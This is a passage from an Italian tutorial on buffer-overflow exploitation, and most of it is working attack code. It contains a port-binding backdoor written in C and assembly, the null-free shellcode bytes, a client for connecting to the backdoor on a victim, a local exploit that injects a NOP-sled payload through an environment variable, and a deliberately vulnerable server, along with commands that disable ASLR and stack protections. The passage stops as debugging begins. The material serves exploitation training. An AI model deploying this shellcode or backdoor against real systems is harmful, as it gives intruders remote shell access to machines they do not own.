#include <sys/socket.h>

#include <netinet/in.h>

int soc,cli;

struct sockaddr_in serv_addr;

int

main() // n° syscall - unistd32.h

{

if(fork()==0) // #define __NR_fork 2

{

Page 30: System exploitation using buffer overflow

System exploitation using buffer overflow

Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 30 di 193

serv_addr.sin_family=2;

serv_addr.sin_addr.s_addr=0;

serv_addr.sin_port=0xAAAA;

soc=socket(2,1,6); // #define __NR_socketcall 102

bind(soc,(struct sockaddr *)&serv_addr,0x10); // #define __NR_mbind 274

listen(soc,1); // #define __NR_socketcall 102

cli=accept(soc,0,0); // #define __NR_socketcall 102

dup2(cli,0); // #define __NR_dup2 63

dup2(cli,1);

dup2(cli,2);

execve("/bin/sh",0,0); // #define __NR_execve 11

}

}

--------- test08.c END ---------------------

Quello che cambia dall'esempio precedente è innanzi tutto il modo in cui le syscall socket,

bind, listen e accept devono essere chiamate.

Viene utilizzato un unico entry point nel kernel per queste funzioni, il primo argomento sarà il

numero di funzione della famiglia che verrà chiamata. E' comunque piuttosto semplice.

Altra cosa che dobbiamo fare è ripassarci alcune strutture C.

Le strutture non sono altro che uno spazio contiguo di variabili che possono essere recuperate

tutte assieme con un solo puntatore.

struct sockaddr_in {

sa_family_t sin_family; // address family AF_INET

in_port_t sin_port; // port in network byte order

struct in_addr sin_addr; // internet address

};

Internet address:

struct in_addr {

in_addr_t s_addr; // address in network byte order

};

Se non avete idea di come in linguaggio assembly possono venire utilizzate utilizzate il

programma seguente per windows per vedere come è in effetti molto semplice:

--------- test09.c ------------------------

#include <stdio.h>

#include <stdlib.h>

#include <winsock2.h>

int main(int argc, char *argv[])

{

struct sockaddr_in example;

example.sin_family=2; // short sin_family

example.sin_addr.s_addr=0; // preprocessor s_addr

example.sin_port=0xAAAA; // u_short sin_port

printf("\nsockaddr_in size: %d\nsockaddr_in address: 0x%x\n\n",sizeof(example),example);

system("PAUSE");

}

--------- test09.c END ---------------------

Page 31: System exploitation using buffer overflow

System exploitation using buffer overflow

Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 31 di 193

// now, compile and disassemble the exe file.

// next, we look for struct sockaddr_in structure in stack

come si vedrà lavorare con le strutture in assembly non è poi così difficile, il concetto di

struttura del C viene praticamente perso.

Procediamo come solito alla compilazione e al disassemblaggio dell'eseguibile per vedere le

operazioni a basso livello che dovremo riscriverci in assembly; ricordatevi le opportune opzioni

per il compilatore, vedo di inserirvi dei commenti.

root@HackLab:# gcc -ggdb -static test08.c -o test

root@HackLab:# gdb test

Dump of assembler code for function main:

****************************************************

// Prologo di main

0x08048230 <main+0>: lea 0x4(%esp),%ecx

0x08048234 <main+4>: and $0xfffffff0,%esp

0x08048237 <main+7>: pushl -0x4(%ecx)

****************************************************

// Salvataggio del frame pointer nello stack subito dopo l'indirizzo di ritorno

0x0804823a <main+10>: push %ebp

0x0804823b <main+11>: mov %esp,%ebp

****************************************************

// fork()

0x0804823d <main+13>: push %ecx

0x0804823e <main+14>: sub $0x14,%esp

0x08048241 <main+17>: call 0x804e580 <fork>

****************************************************

// socket()

0x08048246 <main+22>: test %eax,%eax

0x08048248 <main+24>: jne 0x804833c <main+268>

0x0804824e <main+30>: movw $0x2,0x80c6068

0x08048257 <main+39>: movl $0x0,0x80c606c

0x08048261 <main+49>: movw $0xaaaa,0x80c606a

0x0804826a <main+58>: movl $0x6,0x8(%esp)

0x08048272 <main+66>: movl $0x1,0x4(%esp)

0x0804827a <main+74>: movl $0x2,(%esp)

0x08048281 <main+81>: call 0x804f770 <socket>

****************************************************

// bind()

0x08048286 <main+86>: mov %eax,0x80c6078

0x0804828b <main+91>: mov $0x80c6068,%eax

0x08048290 <main+96>: mov 0x80c6078,%edx

0x08048296 <main+102>: movl $0x10,0x8(%esp)

0x0804829e <main+110>: mov %eax,0x4(%esp)

0x080482a2 <main+114>: mov %edx,(%esp)

0x080482a5 <main+117>: call 0x804f670 <bind>

****************************************************

// listen()

0x080482aa <main+122>: mov 0x80c6078,%eax

0x080482af <main+127>: movl $0x1,0x4(%esp)

0x080482b7 <main+135>: mov %eax,(%esp)

0x080482ba <main+138>: call 0x804f6f0 <listen>

****************************************************

// accept()

0x080482bf <main+143>: mov 0x80c6078,%eax

Page 32: System exploitation using buffer overflow

System exploitation using buffer overflow

Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 32 di 193

0x080482c4 <main+148>: movl $0x0,0x8(%esp)

0x080482cc <main+156>: movl $0x0,0x4(%esp)

0x080482d4 <main+164>: mov %eax,(%esp)

0x080482d7 <main+167>: call 0x804f610 <accept>

***************************************************

// dup2()

0x080482dc <main+172>: mov %eax,0x80c6064

0x080482e1 <main+177>: mov 0x80c6064,%eax

0x080482e6 <main+182>: movl $0x0,0x4(%esp)

0x080482ee <main+190>: mov %eax,(%esp)

0x080482f1 <main+193>: call 0x804ead0 <dup2>

***************************************************

// dup2()

0x080482f6 <main+198>: mov 0x80c6064,%eax

0x080482fb <main+203>: movl $0x1,0x4(%esp)

0x08048303 <main+211>: mov %eax,(%esp)

0x08048306 <main+214>: call 0x804ead0 <dup2>

***************************************************

// dup2()

0x0804830b <main+219>: mov 0x80c6064,%eax

0x08048310 <main+224>: movl $0x2,0x4(%esp)

0x08048318 <main+232>: mov %eax,(%esp)

0x0804831b <main+235>: call 0x804ead0 <dup2>

***************************************************

// execve()

0x08048320 <main+240>: movl $0x0,0x8(%esp)

0x08048328 <main+248>: movl $0x0,0x4(%esp)

0x08048330 <main+256>: movl $0x80a6848,(%esp)

0x08048337 <main+263>: call 0x804e810 <execve>

***************************************************

// Epilogo di main

0x0804833c <main+268>: add $0x14,%esp

0x0804833f <main+271>: pop %ecx

0x08048340 <main+272>: pop %ebp

0x08048341 <main+273>: lea -0x4(%ecx),%esp

0x08048344 <main+276>: ret

End of assembler dump.

Dopo un pò di pratica nello scrivere shellcode, mi è venuto quasi naturale scrivere le

istruzioni assembly già ottimizzate senza byte nulli.

Il seguente è il codice assembly in sintassi AT&T.

--------- sh_port_binding.S ------------------------

// sh port Binding backdoor by Matteo Tosato - Febbraio 2010

.text

.globl main

main:

xor %eax, %eax // Azzero EAX

mov $0x2, %al // Sistemo 2 (_NR_fork) in AL

int $0x80 // fork()

test %eax, %eax // if(fork() == 0), il processo figlio

je DEAMON // salta la exit()

xorl %ebx, %ebx // La solita exit(0)

movl %ebx, %eax

incl %eax

Page 33: System exploitation using buffer overflow

System exploitation using buffer overflow

Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 33 di 193

int $0x80 // Termino il processo padre

// Le chiamate a socket(), bind() e le altre che trattano i socket in assembly devono

// essere chiamate utilizzando la funzione di famiglia principale socketcall, la sintassi è:

// int socketcall(int call, unsigned long *args)

// dove il primo argomento è un numero che identifica la funzione.

// Quelle che ci interessano sono:

// socket(1),bind(2),listen(4) e accept(5). Il secondo argomento è un puntatore agli

// argomenti effettivi della funzione, da allocare nello stack.

DEAMON:

xorl %ecx, %ecx

xorl %eax, %eax

xorl %ebx, %ebx

pushl %ecx //

pushl $0x6 // IPPROTO_TCP

pushl $0x1 // SOCK_STREAM

pushl $0x2 // AF_INET

movl %esp, %ecx // *args in ECX

movb $0x1, %bl // n° socketcall socket

mov $0x66, %al // Sistemo 102 (_NR_socketcall) in AL

int $0x80 // interrupt socket()

movl %eax, %ecx // sposto il socket ritornato in ECX

xorl %eax, %eax // Azzero EAX

xorl %ebx, %ebx // Azzero EBX

pushl %eax // 0

pushl %eax // 0

pushl %eax // 0

pushw $0xaaaa // porta = 43690

movb $0x2, %bl // sin_family = 2

pushw %bx //

movl %esp, %edx // Cima dello stack in EDX

movb $0x10, %bl // 3° arg, dimensione della struttura ovvero 16 bytes

pushl %ebx // 3° arg. nello stack - dim. sockaddr_in

movb $0x2, %bl // n° socketcall bind

pushl %edx // 2° arg. nello stack - sockaddr_in

pushl %ecx // 1° arg, socket - socket

movl %ecx, %edx // Copio socket in edx, per dopo

movl %esp, %ecx // Posiziono puntatore arg.

movb $0x66, %al // Sistemo 102 (_NR_socketcall) in AL

int $0x80 // bind()

xorl %ebx, %ebx // effettuo un controllo sul risultato di bind()

cmpl %eax, %ebx // se bind termina con successo salto a "SKIP_EXIT"

je SKIP_EXIT // altrimenti esco

xorl %ebx, %ebx // Azzero EAX

mov %ebx, %eax // Copio 0 in EBX

inc %eax // Incremento EAX

int $0x80 // interrupt exit()

SKIP_EXIT:

xorl %eax, %eax // Azzero EAX

incl %eax // Incremento EAX, (EAX = 1)

pushl %eax // 2° arg. - max numero di client in coda

pushl %edx // 1° arg. - socket

movl %esp, %ecx // Posiziono puntatore arg.

movb $0x4, %bl // n° socketcall listen

Page 34: System exploitation using buffer overflow

System exploitation using buffer overflow

Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 34 di 193

movb $0x66, %al // Sistemo 102 (_NR_socketcall) in AL

int $0x80 // interrupt listen()

xorl %eax, %eax // Azzero...

xorl %ebx, %ebx

pushl %eax // 0 nello stack, 2° arg. di accept()

pushl %eax // 0 nello stack, 3° arg. di accept()

pushl %edx // socket, 1° arg.

movl %esp, %ecx // Posiziono puntatore arg.

movb $0x5, %bl // n° socketcall accept

movb $0x66, %al // Sistemo 102 (_NR_socketcall) in AL

int $0x80 // interrupt accept()

movl %eax, %ebx // New socket

// int dup2(int oldfd, int newfd);

xorl %eax, %eax // Azzero EAX

xorl %ecx, %ecx // Azzero ECX, il 2° argomento di dup2 (stdin)

push $0x3f //

pop %eax // Sistemo 63 (_NR_dup2) in AL

int $0x80 // interrupt dup2()

xorl %eax, %eax // Azzero EAX

incl %ecx // ora stdout

push $0x3f //

pop %eax // Sistemo 63 (_NR_dup2) in AL

int $0x80 // interrupt dup2()

xorl %eax, %eax // Azzero EAX

incl %ecx // ora stderr

push $0x3f //

pop %eax // Sistemo 63 (_NR_dup2) in AL

int $0x80 // interrupt dup2()

// int execve(const char *filename, char *const argv[], char *const envp[]);

xorl %eax, %eax // Azzero eax

push $0x2f68732f // Inserisco la codifica di "/sh/" nello stack

push $0x6e69622f // Inserisco la codifica di "/bin" nello stack

movl %esp, %ebx // Prelevo dallo stack l'indirizzo della stringa "/bin/sh/"

mov %al, 0x7(%ebx) // Inserisco il byte terminatore di stringa alla fine

// ottenendo cosi la stringa C regolare: "/bin/sh\0"

push %eax // Inserisco eax nello stack

push %ebx // Inserisco ebx nello stack la stringa

mov %esp, %ecx // Prelevo dallo stack e posiziono in ecx la stringa

cltd // converte una Dword in una Qword, lasciata in EDX:EAX

mov $0xb, %al // Muovo il valore 11 dec. in eax (sys_call execve() )

int $0x80 // Interrupt execve()

xorl %ebx, %ebx // Azzero eax

mov %ebx, %eax // Copio 0 in ebx

inc %eax // Incremento eax

int $0x80 // interrupt exit()

--------- sh_port_binding.S END ------------------------

Page 35: System exploitation using buffer overflow

System exploitation using buffer overflow

Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 35 di 193

Ora compiliamo il nuovo sorgente creando il file oggetto, successivamente utilizziamo objdump

per ricavare nel modo solito gli opcode, facendo attenzione che non vi siamo byte nulli.

(ricordatevi di testare l'assembly!!)

In tal caso occorre cambiare le istruzioni che li hanno generati e rifare il procedimento.

root@HackLab:# gcc -s -c sh_port_binding.S

root@HackLab:# objdump -d sh_port_binding.o

sh_port_binding.o: file format elf32-i386

Disassembly of section .text:

00000000 <main>:

0: 31 c0 xor %eax,%eax

2: b0 02 mov $0x2,%al

4: cd 80 int $0x80

6: 85 c0 test %eax,%eax

8: 74 07 je 11 <DEAMON>

a: 31 db xor %ebx,%ebx

c: 89 d8 mov %ebx,%eax

e: 40 inc %eax

f: cd 80 int $0x80

00000011 <DEAMON>:

11: 31 c9 xor %ecx,%ecx

13: 31 c0 xor %eax,%eax

15: 31 db xor %ebx,%ebx

17: 51 push %ecx

18: 6a 06 push $0x6

1a: 6a 01 push $0x1

1c: 6a 02 push $0x2

1e: 89 e1 mov %esp,%ecx

20: b3 01 mov $0x1,%bl

22: b0 66 mov $0x66,%al

24: cd 80 int $0x80

26: 89 c1 mov %eax,%ecx

28: 31 c0 xor %eax,%eax

2a: 31 db xor %ebx,%ebx

2c: 50 push %eax

2d: 50 push %eax

2e: 50 push %eax

2f: 66 68 aa aa pushw $0xaaaa

33: b3 02 mov $0x2,%bl

35: 66 53 push %bx

37: 89 e2 mov %esp,%edx

39: b3 10 mov $0x10,%bl

3b: 53 push %ebx

3c: b3 02 mov $0x2,%bl

3e: 52 push %edx

3f: 51 push %ecx

40: 89 ca mov %ecx,%edx

42: 89 e1 mov %esp,%ecx

44: b0 66 mov $0x66,%al

46: cd 80 int $0x80

48: 31 db xor %ebx,%ebx

4a: 39 c3 cmp %eax,%ebx

Page 36: System exploitation using buffer overflow

System exploitation using buffer overflow

Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 36 di 193

4c: 74 07 je 55 <SKIP_EXIT>

4e: 31 db xor %ebx,%ebx

50: 89 d8 mov %ebx,%eax

52: 40 inc %eax

53: cd 80 int $0x80

00000055 <SKIP_EXIT>:

55: 31 c0 xor %eax,%eax

57: 40 inc %eax

58: 50 push %eax

59: 52 push %edx

5a: 89 e1 mov %esp,%ecx

5c: b3 04 mov $0x4,%bl

5e: b0 66 mov $0x66,%al

60: cd 80 int $0x80

62: 31 c0 xor %eax,%eax

64: 31 db xor %ebx,%ebx

66: 50 push %eax

67: 50 push %eax

68: 52 push %edx

69: 89 e1 mov %esp,%ecx

6b: b3 05 mov $0x5,%bl

6d: b0 66 mov $0x66,%al

6f: cd 80 int $0x80

71: 89 c3 mov %eax,%ebx

73: 31 c0 xor %eax,%eax

75: 31 c9 xor %ecx,%ecx

77: 6a 3f push $0x3f

79: 58 pop %eax

7a: cd 80 int $0x80

7c: 31 c0 xor %eax,%eax

7e: 41 inc %ecx

7f: 6a 3f push $0x3f

81: 58 pop %eax

82: cd 80 int $0x80

84: 31 c0 xor %eax,%eax

86: 41 inc %ecx

87: 6a 3f push $0x3f

89: 58 pop %eax

8a: cd 80 int $0x80

8c: 31 c0 xor %eax,%eax

8e: 68 2f 73 68 2f push $0x2f68732f

93: 68 2f 62 69 6e push $0x6e69622f

98: 89 e3 mov %esp,%ebx

9a: 88 43 07 mov %al,0x7(%ebx)

9d: 50 push %eax

9e: 53 push %ebx

9f: 89 e1 mov %esp,%ecx

a1: 99 cltd

a2: b0 0b mov $0xb,%al

a4: cd 80 int $0x80

a6: 31 db xor %ebx,%ebx

a8: 89 d8 mov %ebx,%eax

aa: 40 inc %eax

ab: cd 80 int $0x80

A questo punto possiamo ricavarci gli opcode. Mettiamo tutto in un array e testiamo con un

Page 37: System exploitation using buffer overflow

System exploitation using buffer overflow

Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 37 di 193

puntatore a funzione.

--------- test0A.c ------------------------

// Test for cntpb_sh

#include <stdio.h>

char array[] =

“\x31\xc0\xb0\x02\xcd\x80\x85\xc0\x74\x07\x31\xdb\x89\xd8\x40\xcd\x80”

“\x31\xc9\x31\xc0\x31\xdb\x51\x6a\x06\x6a\x01\x6a\x02\x89\xe1\xb3\x01”

“\xb0\x66\xcd\x80\x89\xc1\x31\xc0\x31\xdb\x50\x50\x50\x66\x68\xaa\xaa”

“\xb3\x02\x66\x53\x89\xe2\xb3\x10\x53\xb3\x02\x52\x51\x89\xca\x89\xe1”

“\xb0\x66\xcd\x80\x31\xdb\x39\xc3\x74\x07\x31\xdb\x89\xd8\x40\xcd\x80”

“\x31\xc0\x40\x50\x52\x89\xe1\xb3\x04\xb0\x66\xcd\x80\x31\xc0\x31\xdb”

“\x50\x50\x52\x89\xe1\xb3\x05\xb0\x66\xcd\x80\x89\xc3\x31\xc0\x31\xc9”

“\x6a\x3f\x58\xcd\x80\x31\xc0\x41\x6a\x3f\x58\xcd\x80\x31\xc0\x41\x6a”

“\x3f\x58\xcd\x80\x31\xc0\x68\x2f\x73\x68\x2f\x68\x2f\x62\x69\x6e\x89”

“\xe3\x88\x43\x07\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80\x31\xdb\x89\xd8”

“\x40\xcd\x80";

void main()

{

printf(“Port binding 43690 BACKDOOR,\n”

“by Matteo Tosato - Febbraio 2010 - code size: %d",sizeof(array));

printf("\n\n");

(*(void(*)()) array)();

}

--------- test0A.c END ---------------------

La backdoor rimane muta sul sistema vittima perchè tutti gli stream standard sono stati chiusi

dalle fuzioni dup2().

Una volta fatto eseguire controlliamo che sia in esecuzione veramente controllando il processo

con:

root@HackLab:# ps -A | test0A

Se è tutto ok, significa che vi sarà un socket in ascolto alla porta 43690. Con un semplice

client possiamo collegarci:

--------- client.c ------------------------

// Client per backdoor Matteo Tosato, Febbraio 2010.

// Utilizzare questo client per connettersi alla backdoor installata sulla vittima attraverso

l'exploit.

#include <stdio.h>

#include <stdlib.h>

#include <string.h>

#include <sys/socket.h>

#include <netinet/in.h>

#include <sys/types.h>

#include <sys/select.h>

#include <unistd.h>

#include <netdb.h>

Page 38: System exploitation using buffer overflow

System exploitation using buffer overflow

Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 38 di 193

#define BUFF_SIZE 2048

#define PORT 43690

//MACROs:

#define MAX(a,b) ((a)>(b)?(a):(b))

// functions prototypes:

void prompt(FILE*,int); //socket I/O management

int main(int argc, char *argv[])

{

if(argc < 1) {fprintf(stderr,"Name Host required!\n"); exit(-1);}

int sock;

char*host = argv[1];

struct sockaddr_in myaddr;

struct hostent* he;

// **** Resolving Hostname **********************

if((he = gethostbyname(host)) == NULL) {

perror("gethostbyname");

exit(-1);

}

// ************************************************

myaddr.sin_family = AF_INET;

myaddr.sin_addr = *((struct in_addr *)he->h_addr);

myaddr.sin_port = PORT;

if((sock = socket(AF_INET,SOCK_STREAM,0)) <= 0) {perror("socket"); return(-1);}

if(connect(sock,(struct sockaddr *)&myaddr,sizeof(myaddr)) == -1)

{

perror("connect");

return(-1);

}

prompt(stdin,sock);

}

void

prompt(FILE* fp, int sock)

{

int maxfd;

char send_buffer[BUFF_SIZE], recv_buffer[BUFF_SIZE];

fd_set rset;

printf("\n ***** Client for backdoor v1.0 by Tosato Matteo - Febbraio 2010 ****** \n$ ");

FD_ZERO(&rset);

while(1)

{

FD_SET(fileno(fp),&rset);

FD_SET(sock,&rset);

maxfd = MAX(fileno(fp),sock)+1;

select(maxfd,&rset,NULL,NULL,NULL);

if(FD_ISSET(sock,&rset))

{

memset(recv_buffer,0,sizeof(recv_buffer));

Page 39: System exploitation using buffer overflow

System exploitation using buffer overflow

Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 39 di 193

if(read(sock,recv_buffer,BUFF_SIZE) <= 0)

{

perror("read");

exit(-1);

}

fprintf(stdout,"%s\n$ ",recv_buffer);

fflush(stdout);

}

if(FD_ISSET(fileno(fp),&rset))

{

memset(send_buffer,0,sizeof(send_buffer));

if(fgets(send_buffer,BUFF_SIZE,fp) == NULL)

return;

if(write(sock,send_buffer,strlen(send_buffer)+1) <= 0)

{

perror("write");

exit(-1);

}

}

}

}

--------- client.c END ---------------------

Può capitare delle volte che il buffer che abbiamo a disposizione sia troppo piccolo, difatti la

nostra chellcode in questo caso è parecchio grande.

Per ovviare a questo problema possono essere utilizzate le variabili d'ambiente del sistema.

Il seguente esempio mostra un exploit sempre locale che sfrutta questa tecnica,

--------- test0B.c ------------------------

#include <stdio.h>

#define LARGE_SIZE 612

char large[LARGE_SIZE];

char shellcode[]=

// Port binding shellcode by Matteo Tosato - Febbraio 2010

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90”

“\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90”

“\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90”

“\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90”

“\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90”

“\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90”

“\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90”

“\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90”

“\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90”

“\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90”

“\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90”

“\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90”

“\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90”

“\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90”

“\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90”

“\x90\x90\x90\x90\x31\xc0\xb0\x02\xcd\x80\x85\xc0\x74\x07\x31\xdb”

Page 40: System exploitation using buffer overflow

System exploitation using buffer overflow

Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 40 di 193

“\x89\xd8\x40\xcd\x80\x31\xc9\x31\xc0\x31\xdb\x51\x6a\x06\x6a\x01”

“\x6a\x02\x89\xe1\xb3\x01\xb0\x66\xcd\x80\x89\xc1\x31\xc0\x31\xdb”

“\x50\x50\x50\x66\x68\xaa\xaa\xb3\x02\x66\x53\x89\xe2\xb3\x10\x53”

“\xb3\x02\x52\x51\x89\xca\x89\xe1\xb0\x66\xcd\x80\x31\xdb\x39\xc3”

“\x74\x07\x31\xdb\x89\xd8\x40\xcd\x80\x31\xc0\x40\x50\x52\x89\xe1”

“\xb3\x04\xb0\x66\xcd\x80\x31\xc0\x31\xdb\x50\x50\x52\x89\xe1\xb3”

“\x05\xb0\x66\xcd\x80\x89\xc3\x31\xc0\x31\xc9\x6a\x3f\x58\xcd\x80”

“\x31\xc0\x41\x6a\x3f\x58\xcd\x80\x31\xc0\x41\x6a\x3f\x58\xcd\x80”

“\x31\xc0\x68\x2f\x73\x68\x2f\x68\x2f\x62\x69\x6e\x89\xe3\x88\x43"

"\x07\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80\x31\xdb\x89\xd8\x40\xcd”

“\x80\x90\x90\x90”;

long get_sp() { __asm__("movl %esp, %eax"); }

void main(int argc, char*argv[])

{

system("clear");

int h;

long *large_ptr = (long*)large;

int offset = atoi(argv[1]);

long ptr = get_sp() - offset; // offset tra ESP e buffer small

printf("\nUsing address: 0x%X\n",ptr);

for(h=0;h<sizeof(large);h+=4)

*(large_ptr++) = ptr;

for(h=0;h<strlen(shellcode);h++)

large[h] = shellcode[h];

large[LARGE_SIZE-1] = '\0';

memcpy(large,"EGG=",4);

putenv(large);

system("/bin/sh");

}

--------- test0B.c END ---------------------

0x09] (Arch: LINUX) - Esempio exploit remoto

Up

Vediamo di concretizzare. Le basi le abbiamo affrontate. Ora vediamo come può essere eseguito un

exploit nella realtà.

Abbiamo sempre e solo visto exploit locali. Il concetto di vulnerabilità rimane lo stesso.

Occorre trovare nell'applicazione un punto in cui l'exploit è possibile, una vulnerabilità.

Abbiamo già visto di cosa si tratta.

Noi vedremo il caso più semplice, ovvero immaginiamo di avere in mano i sorgenti

dell'applicazione vulnerabile. Nella realtà non è sempre così, molti software sono distribuiti

già compilati ed i sorgenti non sono di pubblico dominio.

Per ora vedrò di realizzare un server multithreaded che non offre nessun servizio. Ci serve solo

abbia un problema di possibile buffer overflow. I dati da inviare verso il server nel punto in

cui la vulnerabilità è sfruttabile si costituiscono di tre parti:

Page 41: System exploitation using buffer overflow

System exploitation using buffer overflow

Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 41 di 193

- La sequenza di NOP

- La shellcode

- L'indirizzo di ritorno

Come sapete, l'indirizzo di ritorno inserito nel buffer di attacco dovrà andare a sovrascrivere

il return address di qualche funzione salvato nello stack.

Questa è l'operazione più complessa. Sapere anche solo approssimatamente il valore assunto da

questo indirizzo sull'host remoto è molto difficile.

Una buona analisi dell'obiettivo può permetterci di individuare la versione di software e

sistema operativo remoto. Questo aumenta le nostre possibilità di successo perchè ci permette di

poter riprodurre a casa nostra un obiettivo il più simile possibile e effettuare un'analisi

profonda ed un debug accurato.

Ma veniamo al nostro server,

Questo possiede una vulnerabilità causata dall'utilizzo errato delle dimensioni di due buffer.

La sovrascrittura si verifica in prossimità della solita funzione strcpy()

Il codice:

--------- main.c ------------------------

#include <stdio.h>

#include <stdlib.h>

#include <string.h>

#include <unistd.h>

#include <sys/socket.h>

#include <netinet/in.h>

#include <pthread.h>

/*

This is a vulnerable server.

This server contains strcpy() bug.

Try to exploiting!

Happy Hacking!

Matteo Tosato

*/

#define DEST_BUFFER_SIZE 256

#define WRONG_DEST_BUFFER_SIZE 1024 // << -- Uch!

#define NUM_THREADS 10

char recv_buffer[WRONG_DEST_BUFFER_SIZE];

int threads_iterator = 10;

pthread_mutex_t mutex;

inline unsigned long get_esp() { __asm__("movl %esp, %eax"); }

void function_copystring(void*threadid);

int main(int argc, char*argv[])

{

/*

* Mutlithreaded server without real services.

Page 42: System exploitation using buffer overflow

System exploitation using buffer overflow

Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 42 di 193

* Server will send a welcome message to client.

*/

if(argc != 2) {

fprintf(stderr,"Arguments wrong!\n");

exit(-1);

}

unsigned short port = atoi(argv[1]);

if((port < 1) || (port > 65535)) {

fprintf(stderr,"Port number not valid!\n");

}

struct sockaddr_in client;

struct sockaddr_in localhost;

int sock_fd,temp_fd, address_size;

localhost.sin_family = AF_INET;

localhost.sin_port = htons(port);

localhost.sin_addr.s_addr = INADDR_ANY;

sock_fd = socket(AF_INET,SOCK_STREAM,0);

if(sock_fd < 0) {

fprintf(stderr,"Socket() fail!\n");

exit(-1);

}

if(bind(sock_fd,(struct sockaddr *)&localhost, sizeof(localhost)) < 0) {

fprintf(stderr,"bind() fail!\n");

exit(-1);

}

listen(sock_fd,10);

pthread_mutex_init(&mutex, NULL);

pthread_t threads[NUM_THREADS];

while(1)

{

if((temp_fd = accept(sock_fd,(struct sockaddr*)&client, &address_size)) < 0)

{

fprintf(stderr,"Accept() fail!\n");

exit(-1);

}

pthread_mutex_lock(&mutex);

if(!(threads_iterator > 0))

{

pthread_mutex_unlock(&mutex);

fprintf(stderr,"Server busy. Not thread available!\n");

close(temp_fd);

continue;

}

pthread_create(&threads[threads_iterator],NULL,(void*)(function_copystring),(void*)temp_fd);

Page 43: System exploitation using buffer overflow

System exploitation using buffer overflow

Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 43 di 193

threads_iterator--;

pthread_mutex_unlock(&mutex);

close(temp_fd);

}

}

void function_copystring(void*threadid)

{

printf("ESP: %08X\n",get_esp());

char buffer[DEST_BUFFER_SIZE];

int fd = (int)threadid;

if(recv(fd,recv_buffer,WRONG_DEST_BUFFER_SIZE,0) < 0)

{

fprintf(stderr,"Recv() fail!\n");

pthread_mutex_lock(&mutex);

threads_iterator++;

pthread_mutex_unlock(&mutex);

return;

}

strncpy(buffer,recv_buffer,WRONG_DEST_BUFFER_SIZE);

// 768 bytes will overwrite stack

char welcome_msg[] = "Welcome to remote server\n";

welcome_msg[strlen(welcome_msg)-1] = '\0';

memcpy((void*)buffer,(void*)welcome_msg,strlen(welcome_msg));

if(send(fd,buffer,sizeof(buffer),0) < 0)

{

fprintf(stderr,"Send() fail!\n");

pthread_mutex_lock(&mutex);

threads_iterator++;

pthread_mutex_unlock(&mutex);

return;

}

}

--------- main.c END ---------------------

Il thread che si avvia quando arriva una connessione combina un pasticcio, sovrascrive lo stack

fino a 768 bytes.

Quello che dobbiamo fare è fingerci un client, connetterci ed inviare il payload.

Se abbiamo fatto giusti i calcoli;

- il server crea un nuovo thread per noi,

- riceve il payload, durante la copia questo sovrascrive lo stack,

- il payload viene eseguito restituendo una shell che si mette in ascolto sulla porta 43690.

Prima di vedere come inviare i dati in modo agevole senza dover scrivere un client apposito,

dobbiamo trovare l'indirizzo presunto da dove la nostra shellcode verrà copiata. Questo è il

punto più delicato e più difficoltoso dell'operazione. Il fatto che possiamo debuggare il

programma obiettivo lo definirei già un lusso.

Page 44: System exploitation using buffer overflow

System exploitation using buffer overflow

Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 44 di 193

Utilizzeremo gdb;

Caratteristiche del mio ambiente: [uname -a]

Linux HackLab 2.6.30.9 #1 SMP Tue Dec 1 21:51:08 EST 2009 i686 GNU/Linux

(L'analisi seguente cambia da sistema a sistema)

Per prima cosa disattiviamo la randomizzazione dello stack abilitata di default sugli ultimi

kernel, non ci poniamo ora il problema di come aggirare il sistema di sicurezza,

root@HackLab:~# echo 0 > /proc/sys/kernel/randomize_va_space

Compiliamo il server disattivando stackguard e senza marcare lo stack in sola lettura, (Questi

sono tutti sistemi di sicurezza che ci renderebbero la vita più difficile, vedremo più avanti la

questione)

root@HackLab:~# gcc -ggdb -pthread -fno-stack-protector -z execstack -o VulnServer main.c

Iniziamo il debug,

root@HackLab:~# gdb VulnServer

GNU gdb 6.8-debian

Copyright (C) 2008 Free Software Foundation, Inc.

License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>

This is free software: you are free to change and redistribute it.

